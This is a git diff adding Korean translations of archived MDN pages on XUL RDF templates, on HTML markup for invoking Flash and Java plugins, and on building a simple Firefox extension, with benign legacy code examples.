이 기능을 사용하기 위해서는 당신이 필요로 하는 모든 정보는 RDF 데이터 소스 API 를 이용하여 표현되거나, 내장 메모리 데이터 소스를 사용하거나, RDF/XML 을 사용하여 저장하거나, nsIRDFDataSource 를 (아마도 JavaScript 를 이용하여) 직접 구현하여야 합니다.

+

"datasources=" 이라고 명시한 경우에는 무엇이 로드되나요?

+

템플릿의 "루트" 원소의 datasources 속성은 로드할 (공백 문자로 구분된) 데이터 소스 URI 들의 목록을 나타냅니다. 여기서 "데이터 소스 URI" 라는 것은 다음의 둘 중 하나가 됩니다:

+ +

두 경우 모두, 데이터 소스는 nsIRDFServiceGetDataSource() 메소드를 사용하여 로드되며, 이들은 같은 방법으로 로드된 다른 데이터 소스와 마찬가지로 관리됩니다.

+

XUL의 RDF/XML을 위한 보안 모델은 무엇인가요?

+

"인증된" URL(현재는 chrome:로 시작하는 모든 URL)로 부터 로드된 XUL은 XUL 템플릿의 datasources 속성에 지정된 어떠한 데이터 소스 URI라도 지정할 수 있습니다.

+

"인증되지 않은" URL로 부터 로드된 XUL은 XUL 문서가 있던 동일한 (Java에서 말하는 의미의) 코드베이스 에 있는 RDF/XML 문서만을 지정할 수 있습니다. 인증되지 않은 XUL에서 "특별한" (즉, rdf: 로 시작하는) 데이터 소스를 로드할 수는 없습니다.

+

XUL 템플릿에 어떻게 데이터 소스를 추가하나요?

+

XUL 템플릿을 생성할 때 datasources 속성을 통해 "암시적으로" 데이터 소스를 명시하는 방법이 가능하지만, XUL이 로드될 때 까지 어떤 데이터 소스를 로드해야 할지 결정할 수 없는 경우도 있을 것입니다. 예를 들어, 당신의 XUL이 onload 핸들러에서 표시할 데이터 소스를 결정하는 경우나 특정한 사용자의 액션에 반응하여 데이터 소스를 추가해야 하는 경우 등이 있습니다.

+

다음은 이러한 동작을 하는 간단한 예제입니다. 아래와 같은 XUL이 있다고 해 봅시다.

+
<window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">
+  ...
+  <tree id="my-tree" datasources="rdf:null">
+    ...
+  </tree>
+  ...
+</window>
+
+

이제 어떤 식으로든 (즉, 이러한 방식 중의 하나로) 데이터 소스를 얻었다고 가정할 때, 다음의 코드는 이 데이터 소스를 템플릿에 추가 하는 방법을 보여줍니다. 템플릿은 새로 추가된 데이터 소스의 컨텐츠를 기반으로 자신을 재생성(rebuild)해야 합니다.

+
var ds = /* 어떤 식으로든 얻었다고 가정합니다! */;
+// 'my-tree'에 대한 DOM 원소를 얻습니다.
+var tree = document.getElementById('my-tree');
+// 거기에 데이터 소스를 추가합니다.
+tree.database.AddDataSource(ds);
+// 강제 재생성하도록 직접 rebuild() 메소드를 호출합니다.
+tree.builder.rebuild();
+
+

datasources 속성을 가진 XUL 원소는 자동으로 database 속성과 builder 속성을 가지게 됩니다. database 속성은 템플릿에서 생성된 데이터 소스를 포함하는 nsIRDFCompositeDataSource 객체를 참조합니다.

+

builder 속성은 템플릿 컨텐츠의 상태를 유지하는 "builder" 인 nsIXULTemplateBuilder 객체를 참조합니다.

+

참고! rdf:null 데이터 소스: 이것은 특별한 데이터 소스로서 아직은 데이터 소스가 없지만 나중에 추가할 것임을 알려주는 역할을 합니다. 이 데이터 소스를 지정하면 database 속성과 builder 속성이 생기게 되지만 database 속성은 아무 것도 없는 채로 남아있습니다.

+

DOM API를 이용하여 XUL 템플릿 문서를 다룰 수 있나요?

+

네, 가능합니다. 당신은 룰을 추가 및 삭제하거나 룰의 컨디션이나 컨텐츠를 변경할 수 있습니다. 사실, W3C DOM API를 이용하여 템플릿에 대한 모든 것들을 변경할 수 있습니다.

+

한가지 주의할 사항은, 이렇게 변경한 내용이 적용되도록 (XUL 템플릿에 데이터 소스를 추가할 때와 마찬가지로) rebuild() 메소드를 반드시 호출해야 한다는 것입니다.

+

템플릿에 일반 텍스트를 어떻게 삽입하나요?

+

템플릿 내에 일반 텍스트(plaintext)를 삽입하기 위해서는 <text> 원소를 이용합니다.

+
<template>
+  <rule>
+    <conditions>...</condition>
+    <bindings>...</bindings>
+    <action>
+      <text value="?some-variable" />
+    </action>
+  </rule>
+</template>
+
+

위의 템플릿은 여러 개의 텍스트 노드를 가지는(runs?) 컨텐츠 모델을 생성할 것 입니다.

+

트러블슈팅

+

필드에서 얻은 트릭과 팁들을 소개합니다.

+

RDF/XML 파일이 로드되지 않아요

+

웹 서버로부터 RDF/XML 파일이 로드되지 않는 대부분의 이유는 MIME 타입이 잘못 설정되어 있는 경우입니다. 당신이 사용하는 서버가 RDF/XML 파일을 text/xml(추천) 이나 text/rdf(bogus) 형식으로 전달하는지 확인하십시오.

+

W3C의 RDF 코어 워킹 그룹은 application/rdf+xml 형식을 등록하였지만 아직 Mozilla 코드는 이를 인식하지 못한다는 것을 명심하십시오. (이에 대한 버그가 보고되어 있나요? -- danbri)

+

원격지에서 로드되는 XUL과 RDF에 대한 또다른 잠재적인 문제점은 Mozilla의 보안 규칙을 변경해야 한다는 것입니다(아래의 예제를 참조하세요). 만약 MIME 타입이 정확한데도, XUL이 RDF를 로드하지 않는다면 이 문제를 고려해 보아야 합니다.

+

RDF/XML 파일이 올바른지 검사하기 위해 rdfcatrdfpoll 유틸리티를 사용할 수 있습니다. 이 프로그램들은 Windows에서는 기본으로 설치되어 있으며, Linux에서는 configure --enable-tests 옵션을 주어 설치할 수 있습니다.

+ +

이 두 프로그램은 로드와 실행 과정이 느립니다(하지만 결국은 실행됩니다). 이 프로그램들은 Mozilla 와 동일하게 XPCOM을 초기화하고 URL을 로드하고 처리하도록 Necko를 실행시킵니다.

+

AddDataSource 메소드를 호출해도 아무 것도 바뀌지 않아요.

+

템플릿 빌더는 자신의 database 속성에 대해 AddDataSource 혹은 RemoveDataSource 메소드를 호출해도 자동적으로 내용을 갱신하지 않습니다. 템플릿의 내용을 갱신하기 위해서는 반드시 elt.builder.rebuild() 메소드를 직접 호출해야 합니다.

+

그 이유는, database 내에 여러 개의 데이터 소스가 추가되는 경우 매번 갱신이 일어나지 않도록 하기 위함입니다.

+

예제

+

(실제로 동작하는) 예제를 어디서 찾을 수 있나요?

+

여기에서 몇가지 예제들을 찾아볼 수 있습니다. 이 중 몇가지는 사인된(signed) 스크립트를 포함하고 있고 HTTP에서 직접 실행시킬 수 있습니다.

+

(Mozilla의 라이브 RDF 피드(feed) 를 담당하는)duplicates.rdfduplicates.xul 도 살펴보기 바랍니다. 이것들을 실행시키기 위해서는 Mozilla의 보안 모델을 완화시켜야 합니다. 이를 위해 당신의 환경 설정(preference) 파일에 다음의 줄을 추가하십시오. (먼저 Mozilla를 종료시켜야 합니다. 그렇지 않으면 Mozilla가 종료될 때 당신의 환경 설정 파일을 덮어쓰게 될 것입니다.)

+
user_pref("signed.applets.codebase_principal_support", true);
+
+

Mozilla는 duplicates.xul 내의 스크립트에 XPConnect에 접근할 권한을 줄 것인지 물어볼 것입니다. '예'를 선택하십시오.

+

현재, Mozilla는 권한없이 RDF 인터페이스와 서비스에 접근하는 것을 허용하지 않습니다. 자세한 내용은 122846번 버그를 참조하십시오.

+

더 추가하고 싶은 예제가 있다면 그 링크를 danbri, mozilla-rdf 혹은 waterson에게 이메일로 보내기 바랍니다!

+

참고

+
    +
  1. RDF 와 그에 관련된 기술들에 대해서는 W3C RDF 페이지와 Semantic Web 페이지를 살펴보기 바랍니다.
  2. +
+

공헌

+ +

저자: Chris Waterson

+
+

원본 문서 정보

+ +
diff --git a/files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html b/files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html new file mode 100644 index 0000000000..d7539a262f --- /dev/null +++ b/files/ko/archive/web_standards/using_the_right_markup_to_invoke_plugins/index.html @@ -0,0 +1,263 @@ +--- +title: Using the Right Markup to Invoke Plugins +slug: Archive/Web_Standards/Using_the_Right_Markup_to_Invoke_Plugins +tags: + - HTML + - Plugins +translation_of: Archive/Web_Standards/Using_the_Right_Markup_to_Invoke_Plugins +--- +

이 글은 올바른 HTML을 사용하여 플러그인을 불러오는 방법에 대한 글입니다. 여기서 object 요소(element)와 embed 요소에 대해 살펴볼 것이고, 웹 페이지에서 Java를 불러오는 가장 적당한 HTML 사용법에 대해서도 자세히 다룰 것입니다.

+ +

object 요소: W3C 표준과 크로스 브라우저 이슈

+ +

object 요소는 HTML 4.01 스펙의 일부이며 플러그인을 불러오는 방법으로 권장되는 방식입니다. object 요소의 사용법은 이 절에서 간단히 이야기할 경고 몇 가지에 영향을 받습니다.

+ +

전통적으로 object 요소는 Microsoft Internet Explorer와 Netscape 7 같은 Mozilla 기반 브라우저에서 서로 다르게 사용되었습니다. IE에서는 ActiveX 기술로 만든 플러그인을 불러오는데 object 요소를 사용했습니다. 여기 그러한 예제가 있습니다.

+ +
<!-- IE ONLY CODE -->
+<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width="366" height="142" id="myFlash">
+    <param name="movie" value="javascript-to-flash.swf" />
+    <param name="quality" value="high" />
+    <param name="swliveconnect" value="true" />
+</object>
+
+ +

위의 예제에서 object 요소의 classid 속성은 "clsid:"라는 URN을 지정하고 있는데, 이것은 ActiveX 컨트롤의 유일한 식별자("D27..."로 시작하는 문자열)입니다. 사실 이 식별자는 Macromedia Flash 플러그인의 식별자입니다. 이런 방식으로 플러그인을 불러오려면 사용하려는 플러그인의 식별자를 알아야 합니다. codebase 속성은 ActiveX 컨트롤을 포함하는 CAB 파일을 얻을 수 있는 위치를 가리킵니다. codebase 속성은 획득 메커니즘 즉, 컨트롤이 존재하지 않을 경우 이를 얻을 수 있는 방법을 알려주기 위해 사용되었습니다. Flash ActiveX 컨트롤이 설치되지 않았다면 IE는 codebase 속성에 지정된 URL로 가서 ActiveX 컨트롤을 받을 것입니다. object 요소의 자식으로 추가된 param 요소들은 Flash 플러그인의 설정 매개변수를 지정하고 있습니다. 예를 들어, the param name="movie"는 Flash 플러그인이 재생할 SWF 파일의 위치를 지정합니다.

+ +

Netscape 7.1은 Microsoft® Windows Media Player의 경우 object 요소로 ActiveX를 불러오는 이런 방식을 지원합니다. Netscape 7.1에서 지원하는 유일한 ActiveX 컨트롤이 Windows Media Player입니다. 자세한 내용은 다른 글에서 다루고 있습니다.

+ +

Netscape 7같은 브라우저는 위와 같은 방법으로 마크업을 사용해서는 Flash 플러그인을 불러올 수 없습니다. Netscape7은 ActiveX과 ActiveX 기반 컴포넌트 호출을 지원하지 않기 때문입니다. Netscape 7.1이 예외적으로 Windows Media Player를 지원하는 것입니다. Mozilla 기반 브라우저는 Netscape 플러그인 아키텍처를 지원합니다. 이 아키텍처는 ActiveX 같은 COM 기반이 아니므로 유일한 식별자를 이용해서 불러내는 것이 아니라 MIME 형식을 기반으로 플러그인을 불러옵니다. Mozilla 기반 브라우저는 MIME 형식을 이용한 object 요소를 지원합니다. Macromedia Flash 플러그인을 불러오는 예제가 아래에 있습니다.

+ +
<object type="application/x-shockwave-flash" data="javascript-to-flash.swf"
+width="366" height="142" id="myFlash">
+    <param name="movie" value="javascript-to-flash.swf" />
+    <param name="quality" value="high" />
+    <param name="swliveconnect" value="true" />
+    <p>You need Flash -- get the latest version from
+    <a href= "http://www.macromedia.com/downloads/">here.</a></p>
+</object>
+
+ +

위 예제에서 application/x-shockwave-flash는 Flash의 MIME 형식입니다. 이것은 Mozilla 기반 브라우저에서 Netscape의 Flash 아키텍처를 불러옵니다. data 속성은 재생할 SWF 파일을 지정하고 있습니다. 설정 매개변수(param 요소들)는 IE와 Mozilla 기반 브라우저에서 동일하게 사용됩니다. 사실 위의 사용 방법은 IE에서도 잘 동작합니다. IE는 ActiveX 스타일의 classid 호출 뿐만 아니라 Flash 같은 특정 MIME 형식을 이용한 호출도 이해하기 때문입니다.

+ +

MIME 형식을 이용해서 Flash 플러그인을 불러오는 방식은 IE와 Netscape 7에서 모두 잘 동작하기 때문에 위의 방법을 두 브라우저에서 동일하게 사용해도 됩니다. 그러나 object 요소를 Mozilla 기반 브라우저와 IE에서 사용할 때 우리가 반드시 명심해야할 몇 가지 주의 사항들이 있습니다.

+ +

주의 사항

+ + + + + +
<!-- 의도한 대로 동작하지 않는 사용법입니다 -->
+<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width="366" height="142" id="myFlash">
+    <param name="movie" value="javascript-to-flash.swf" />
+    <param name="quality" value="high" />
+    <param name="swliveconnect" value="true" />
+
+	<object type="application/x-shockwave-flash" data="javascript-to-flash.swf"
+	 width="366" height="142" id="myFlashNSCP">
+		<param name="movie" value="javascript-to-flash.swf" />
+    		<param name="quality" value="high" />
+    		<param name="swliveconnect" value="true" />
+		<p>You need Flash -- get the latest version from
+		 <a href="http://www.macromedia.com/downloads/">
+		here.</a></p>
+	</object>
+
+</object>
+
+ + + + + +

권장 사항

+ +

우리가 IE에서는 object 요소를 중첩해서 쓰지 못한다는 단점과 모든 브라우저에서 문제없이 동작하도록 하는 단순한 object 요소의 사용법은 없다는 단점을 극복하기 위한 가장 좋은 방법은 아키텍처에 따라 동적으로 object 요소를 동적으로 생성하도록 하는 것입니다. 예를 들어, IE 같이 ActiveX를 지원하는 브라우저에서는 classid 속성을 이용해서 object 요소를 만들고, Netscape 플러그인 아키텍처를 지원하는 브라우저에서는 MIME 형식을 사용하는 것입니다. 여기에 예제 JavaScript가 있습니다.

+ +
if (window.ActiveXObject)
+{
+
+// ActiveX를 지원하는 브라우저
+// IE용 OCX 다운로드 URL을 포함한
+// object 요소를 만듬
+
+document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"');
+document.write(' codebase="http://download.macromedia.com');
+document.write('/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"');
+document.write(' width="366" height="142" id="myFlash">');
+document.write(' <param name="movie" value="javascript-to-flash.swf" />');
+document.write(' <param name="quality" value="high" />');
+document.write(' <param name="swliveconnect" value="true" />');
+document.write('<\/object>');
+
+}
+
+else
+{
+
+// Netscape 플러그인 API를 지원하는 브라우저
+
+document.write('<object id="myFlash" data="javascript-to-flash.swf"');
+document.write(' type="application/x-shockwave-flash"');
+document.write(' width="366" height="142">');
+document.write('<param name="movie" value="javascript-to-flash.swf" />');
+document.write('<param name="quality" value="high" />');
+document.write('<param name="swliveconnect" value="true" />');
+document.write('<p>You need Flash for this.');
+document.write(' Get the latest version from');
+document.write(' <a href="http://www.macromedia.com/downloads">here<\/a>.');
+document.write('<\/p>');
+document.write('<\/object>');
+
+}
+
+ +

Flash Satay도 살펴 보시기 바랍니다.

+ +

object 요소와 Java

+ +

Netscape 6.x, Netscape 7, CompuServe 7 같은 Mozilla 기반 브라우저는 Sun에서 제공하는 Java 플러그인을 포함하고 있습니다. Netscape 6.x이나 Netscape 7을 설치하는 사용자는 Java를 설치할지 말지 선택할 수 있습니다. Netscape Communicator 4.x와는 달리 Netscape 6.x와 7은 기본 Java 가상 머신을 가지고 있지 않으며 Sun의 플러그인에 의존합니다. Netscape Communicator 4.x가 사용되던 시절에는 Netscape Communications가 Java 1.5.0과 그 하위 버전을 지원하는 Java 가상 머신을 개발했습니다. 이제 Netscape 6과 7에서 Java 가상 머신은 Sun의 플러그인입니다. Netscape는 Netscape Java 가상 머신을 더이상 개발하지 않으며, 브라우저와 함께 제공하지도 않습니다.

+ +

Sun의 Java 플러그인은 다른 플러그인들처럼 object 요소로 불러올 수 있습니다. 다시 한 번 말하자면, IE에서는 일반적으로 object 요소에 ActiveX의 유일한 식별자를 지정하는 classid 속성을 같이 씁니다. 플러그인의 각 메이저 버전은 유일한 식별자를 갖고 있습니다. 예를 들어, 다음 예제는 JRE 1.4.1의 유일한 식별자를 가지고 IE에서 JRE 1.4.1을 불러오는 마크업입니다.

+ +
<!-- IE ONLY CODE -->
+<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
+     width="460" height="160"
+codebase="http://java.sun.com/products/plugin/autodl/jinstall-1_4_1-windows-i586.cab#version=1,4,1">
+     <param...>
+     <param...>
+</object>
+
+ +

위 예제는 이전에 설명했던 것과 같은 이유로 Netscape 7 같은 Mozilla 기반 브라우저에서는 동작하지 않을 것입니다. 즉, ActiveX 아키텍처를 참조하는 유일한 식별자와 함께 쓰인 classid를 Mozilla 코드에서는 지원하지 않기 때문입니다. Netscape 7과 그외 Mozilla 기반 브라우저에서는 적절한 MIME 형식으로 Java 플러그인을 호출할 수 있습니다.

+ +
<object type="application/x-java-applet;jpi-version=1.4.1_01"
+width="460" height="160">
+	<param name="code" value="Animator.class" />
+	<param name="imagesource" value="images/Beans" />
+	<param name="backgroundcolor" value="0xc0c0c0" />
+	<param name="endimage" value="10" />
+	<param name="soundsource" value="audio">
+	<param name="soundtrack" value="spacemusic.au" />
+	<param name="sounds" value="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au" />
+	<param name="pause" value="200" />
+	<p>Java 플러그인이 필요합니다.
+         <a href="http://java.sun.com/products/plugin/index.html">이곳에서</a> 플러그인을 받으십시오.</p>
+</object>
+
+ +

위의 코드는 특정 버전을 가리키는 MIME 형식을 사용합니다. Mozilla 기반 브라우저에 JRE 1.4.1_01이 설치되어있지 않다면 대체 텍스트가 표시됩니다. MIME 형식에 항상 버전을 명시해야 하는 것은 아닙니다. 특정 버전에만 포함된 기능을 사용할 필요가 없다면 application/x-java-vm이라고 좀 더 일반적인 MIME 형식을 지정해도 잘 동작할 것입니다. 초기 진입 지점(initial entry point, "code" param 요소로 지정된 Animator.class)을 포함하여 애플릿을 위한 설정 매개변수들은 여러 개의 param 요소를 이용해 설정되었습니다.

+ +

Netscape 7같은 Mozilla 기반 브라우저는 또한 특별한 classid 속성을 지원합니다. 그것은 "java:" classid 입니다. 이 방법을 사용하여 Java를 불러오는 예제를 보십시오.

+ +
<object classid="java:NervousText.class" width="534" height="50">
+	<param name="text" value="Java 2 SDK, Standard Edition v1.4" />
+	<p>Java 플러그인이 필요합니다.
+	   <a href="http://java.sun.com/products/plugin/index.html">이곳에서
+	   </a>
+      플러그인을 받으십시오.
+	</p>
+</object>
+
+ +

"java:" classid를 이용하면 주요(primary) 진입 지점을 지정할 수 있습니다. 나머지 설정 매개변수들은 param 요소를 통해서 지정합니다.

+ +

apple -- 대중적인 선택

+ +

applet 요소는 Java 애플릿을 호출하는데 있어 여전히 많은 지원을 받고 있고 가장 인기있는 방법입니다. Netscape 7과 CompuServer 7에서, applet 요소는 직접적으로 Java 플러그인을 호출합니다. 예제를 보십시오.

+ +
<applet code="NervousText.class" width="534" height="50">
+	<param name="text" value="Java(TM) 2 SDK, Standard Edition v1.4" />
+</applet>
+
+ +

applet 요소는 HTML 4.01 스펙에서 권장되지 않는 요소가 되었습니다. 그러나 Netscape 7 같은 Mozilla 기반 브라우저에서 그 요소를 사용한다면 플러그인이 존재하지 않을 때 자동으로 받는 기능을 사용할 수 있다는 장점이 있습니다. 브라우저가 Netscape 플러그인 검색 서비스를 이용해서 Java 플러그인을 내려받을 것입니다. 참고자료절에 applet 요소를 사용하는데 대한 관련 자료가 있습니다.

+ +

embed 요소

+ +

embed 요소는 Netscape 브라우저 초창기부터 플러그인을 불러오기 위한 방법으로 사용되었습니다. 일반적으로 embed 요소는 object 요소 안에 중첩되는 식으로 사용됩니다. 바깥쪽 object 요소는 IE를 위한 ActiveX 컨트롤을 호출하고, 안쪽의 embed 요소는 Netscape 플러그인을 호출하는 것입니다. 예제를 보십시오.

+ +
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width=366 height=142 id="myFlash">
+	<param name="movie" value="javascript_to_flash.swf" />
+	<param name="quality" value="high" />
+	<param name="swliveconnect" value="true" />
+		<embed src="javascript_to_flash.swf" quality="high" width="366" height="142"
+    		type="application/x-shockwave-flash"
+    		pluginspage="http://www.macromedia.com/downloads/"
+    		name="myFlash" swliveconnect="true">
+    		</embed>
+</object>
+
+ +

참고자료절에서 embed 요소를 사용하는 방법에 대한 링크를 찾을 수 있을 것입니다. Netscape 브라우저에서 플러그인을 불러오기 위해서 가장 널리 쓰이고 있는 것이 embed 요소입니다. 그러나 embed 요소는 HTML 4.01 스펙에 포함되지 않았고, 따라서 W3C 표준이 아니라는 것을 알아둘 필요가 있습니다. embed 요소를 사용할 때 몇 가지 주의 사항이 있습니다.

+ + + +

embed 요소의 획득 메커니즘 -- 설치되지 않은 플러그인을 받아오는 방법 -- 은 pluginspage 속성을 통해 동작한다는 것을 알아두십시오. 이 속성은 브라우저가 인식하지 못한 플러그인을 받을 수 있는 페이지를 가리킵니다. pluginurl 속성을 사용할 수도 있는데, 이 속성은 좀더 능률적인 다운로드를 위해서 XPInstall 파일을 직접 가리키는데 사용하 수 있습니다. embed 요소의 이 속성들에 대해서, Netscape 7과 Mozilla에서는 플러그인 검색 서비스 설정에서 설정할 수 있습니다. 편집(Edit) | 설정(Preference) | Navigator | Help Applications 에서 Netscape 플러그인 검색 서비스에 대한 설정을 할 수 있습니다. 사용자가플러그인을 받을 때 항상 Netscape 플러그인 검색 서비스를 사용함(Always Use the Netscape Plugin Finder Service to get Plugins) 옵션을 체크해두면, 앞의 두 속성을 지정하거나 하지 않거나 차이가 없습니다. 브라우저는항상 플러그인 검색 서비스를 사용하여 MIME 형식에 맞는 플러그인을 찾을 것입니다. 사용자가 옵션을 체크해두지 않았다면, 웹 페이지 작성자가속성을 지정하지 않았을 때에만 플러그인 검색 서비스를 사용핫 것입니다.

+ +

원문 정보

+ + + +

참고자료

+ +
일반적 -- 스펙들
+ + + +
object 요소
+ + + +
embed 요소
+ + + +
Java
+ + + +
Netscape와 Mozilla의 버그와 앞으로의 방향
+ + diff --git a/files/ko/building_an_extension/index.html b/files/ko/building_an_extension/index.html new file mode 100644 index 0000000000..512ff89155 --- /dev/null +++ b/files/ko/building_an_extension/index.html @@ -0,0 +1,240 @@ +--- +title: Building an Extension +slug: Building_an_Extension +tags: + - Add-ons + - Extensions +translation_of: Mozilla/Add-ons +--- +

시작하기

+

확장기능 마법사를 이용해서 웹으로 간단한 확장기능을 만들 수 있습니다.

+

MozillaZine Knowledge Base에는 확장기능 마법사를 이용해 만들 수 있는 것과 비슷한 Hello World 확장기능에 대해 한 줄 한 줄 설명한 다른 글도 있습니다.

+

소개

+

이 입문서는 여러분을 아주 간단한 확장기능(Firefox 브라우저에 텍스트 "Hello, World!"를 담고 있는 상태 표시줄 패널을 추가하는)을 만드는 데 필요한 과정 속으로 안내합니다.

+
+

주의 이 입문서는 Firefox 1.5 이상 버전의 확장기능 만들기에 관한 내용입니다. 이전 버전 Firefox용 확장기능 만들기를 다루는 입문서도 있습니다.

+

썬더버드용 확장기능을 만드는 방법에 대한 입문서는 Building a Thunderbird extension에서 보실 수 있습니다.

+
+

개발 환경 구축하기

+

확장기능은 파일 확장자가 xpi (“zippy”로 소리 냄)인 ZIP 파일이나 묶음(Bundles)으로 배포됩니다.

+

XPI 파일 안 구조의 예 :

+
extension.xpi:
+              /install.rdf
+              /components/*
+              /components/cmdline.js
+              /defaults/
+              /defaults/preferences/*.js
+              /plugins/*
+              /chrome.manifest
+              /chrome/icons/default/*
+              /chrome/
+              /chrome/content/
+
+
+

이 글에서도 위와 비슷한 파일 구조를 만들 것입니다. 그러면 이제 하드디스크 어디든지(예컨대, C:\extensions\myExtension\이나 ~/extensions/my_extension/) 확장기능을 위한 폴더를 만들고, 이 폴더 안에 chrome 폴더를 만들고, chrome 폴더 안에 content 폴더를 만드세요.

+

확장기능 폴더 루트 안에, chrome 폴더와 나란히, 빈 텍스트 파일 두 개를 새로 만드세요. 하나는 chrome.manifest 그리고 다른 하나는 install.rdf입니다. 그리고, chrome/content 폴더 안에 sample.xul이라는 빈 텍스트 파일을 하나 만드세요.

+

만들어진 폴더 구조 :

+
<ext path>\
+          install.rdf
+          chrome.manifest
+          chrome\
+              content\
+                  sample.xul
+
+

Install Manifest 만들기

+

확장기능 폴더 계층(hierarchy) 상단에 여러분이 만든 install.rdf 파일을 열어 안에 다음을 써넣으세요.

+
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <Description about="urn:mozilla:install-manifest">
+    <em:id>sample@foo.net</em:id>
+    <em:version>1.0</em:version>
+    <em:type>2</em:type>
+
+    <!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. -->
+    <em:targetApplication>
+      <Description>
+        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
+        <em:minVersion>1.5+</em:minVersion>
+        <em:maxVersion>2.0.0.*</em:maxVersion>
+      </Description>
+    </em:targetApplication>
+
+    <!-- Front End MetaData -->
+    <em:name>Sample!</em:name>
+    <em:description>A test extension</em:description>
+    <em:creator>Your Name Here</em:creator>
+    <em:homepageURL>http://www.foo.com/</em:homepageURL>
+  </Description>
+</RDF>
+
+ +

최신 Firefox 1.5.0.x에서 작동하도록 디자인된 확장기능은 최대판을 "1.5.0.*"로 설정해야 합니다. 완전한 필수와 선택 프로퍼티 목록은 Install Manifests를 보세요.

+

파일을 저장하세요.

+

XUL로 브라우저 확장하기

+

Firefox의 사용자 인터페이스는 XUL과 JavaScript로 작성됩니다. XUL은 button, menu, toolbar, tree 등과 같은 사용자 인터페이스 위젯을 제공하는 XML 문법입니다. 사용자 동작은 JavaScript로 작동됩니다.

+

브라우저를 확장하기 위해, 우리는 위젯을 추가하거나 수정하여 브라우저의 UI 부분을 수정합니다. 브라우저 창에 새 XUL DOM 요소를 삽입하여 위젯을 추가하고 스크립트 쓰고 이벤트 처리기(handler)를 붙여 위젯을 수정합니다.

+

브라우저는 browser.xul($FIREFOX_INSTALL_DIR/chrome/browser.jarcontent/browser/browser.xul를 포함합니다)로 구현됩니다. browser.xul에서 아래처럼 보이는 상태 표시줄을 찾을 수 있습니다.

+
<statusbar id="status-bar">
+ ... <statusbarpanel>s ...
+</statusbar>
+
+

<statusbar id="status-bar">는 XUL Overlay를 위한 "병합점(merge point)"입니다.

+

XUL Overlay

+

XUL Overlays는 실행 시간(run time)에 XUL 문서에 다른 UI 위젯을 붙이는 한 가지 방법입니다. XUL Overlay는 "주(master)" 문서 안에서 특정 병합점에 삽입되는 XUL 조각(fragment)을 지정하는 .xul 파일입니다. 이 조각은 삽입, 제거, 수정되는 위젯을 지정하기도 합니다.

+

XUL Overlay 문서 예

+
<?xml version="1.0"?>
+<overlay id="sample"
+         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+ <statusbar id="status-bar">
+  <statusbarpanel id="my-panel" label="Hello, World"/>
+ </statusbar>
+</overlay>
+
+

status-bar로 불리는 <statusbar>는 우리가 붙쳤으면 하는 브라우저 창 안 "병합점"을 지정합니다.

+

<statusbarpanel> 자식은 병합점 안에서 삽입하고 싶은 새 위젯입니다.

+

위에 있는 이 sample 코드를 취해 여러분이 만든 chrome/content 폴더 안에 sample.xul 파일로 저장하세요.

+

위젯 병합과 Overlay를 쓴 사용자 인터페이스 수정에 관한 더 많은 정보는, 아래를 보세요.

+

Chrome URI

+

XUL 파일은 "Chrome Packages"(chrome:// URI를 거쳐 로드되는 사용자 인터페이스 컴포넌트 묶음)의 부분입니다. file:// URI(시스템 위에서 Firefox 위치가 플랫폼과 시스템마다 바뀌기도 하기 때문에)를 써서 디스크에서 브라우저로 로드하기보다는, Mozilla 개발자들은 설치된 응용프로그램이 알고 있는 XUL content에 이르는 URI를 만드는 해결책을 냈습니다.

+

브라우저 창은 chrome://browser/content/browser.xul입니다. Firefox의 location bar에 이 URL을 쳐 보세요!

+

Chrome URI는 여러 컴포넌트로 구성되어 있습니다.

+ +

그러므로, chrome://foo/skin/bar.pngfoo 테마의 skin section에서 bar.png 파일을 로드합니다.

+

Chrome URI를 써서 content를 로드할 때, Firefox는 이 URI를 디스크(나 JAR 패키지)의 실제 원본 파일로 번역하기 위해 Chrome 레지스트리를 씁니다.

+

Chrome Manifest 만들기

+

Chrome Manifest와 지원하는 프로퍼티에 관한 더 많은 정보는, Chrome Manifest 참고 문서를 보세요.

+

확장기능 원본 폴더 계층의 루트에 chrome 디렉토리와 나란히 만든 chrome.manifest 파일을 여세요.

+

이 코드를 추가하세요.

+
content     sample    chrome/content/
+
+

(끝에 "/"를 잊지 마세요! 빠트리면, 확장기능이 로드되지 않습니다.)

+

주의: Firefox/Thunderbird 1.5가 mixed/camel case를 지원하지 않기 때문에 패키지 이름("sample")에 모두 소문자를 씀을 확인하세요. 2.0과 이전버전에서 대소문자를 섞어쓰는 기능을 지원하지 않습니다. {{ Bug(132183) }}

+

이는 다음을 지정합니다.

+
    +
  1. chrome 패키지 안에 material 형
  2. +
  3. chrome 패키지 이름
  4. +
  5. chrome 패키지 파일의 위치
  6. +
+

그래서, 이 줄은 chrome 패키지 sample의 경우, chrome.manifest 위치와 상대 경로인 chrome/content 위치에서 우리가 패키지의 content 파일을 찾을 수 있음을 말합니다.

+

content, locale, skin 파일은 여러분의 chrome 하위디렉토리 안 content, locale, skin 폴더 안에 놓여야 함을 주의하세요.

+

파일을 저장하세요. 여러분의 확장기능이 깔린 Firefox를 띄우면, (이 입문서에서 뒤에), 이 줄이 chrome 패키지를 등록합니다.

+

Overlay 등록

+

브라우저를 표시할 때마다 Firefox가 여러분의 overlay를 브라우저 창에 병합할 필요가 있습니다. 그래서 chrome.manifest 파일에 이 줄을 추가하세요:

+
overlay chrome://browser/content/browser.xul chrome://sample/content/sample.xul
+
+

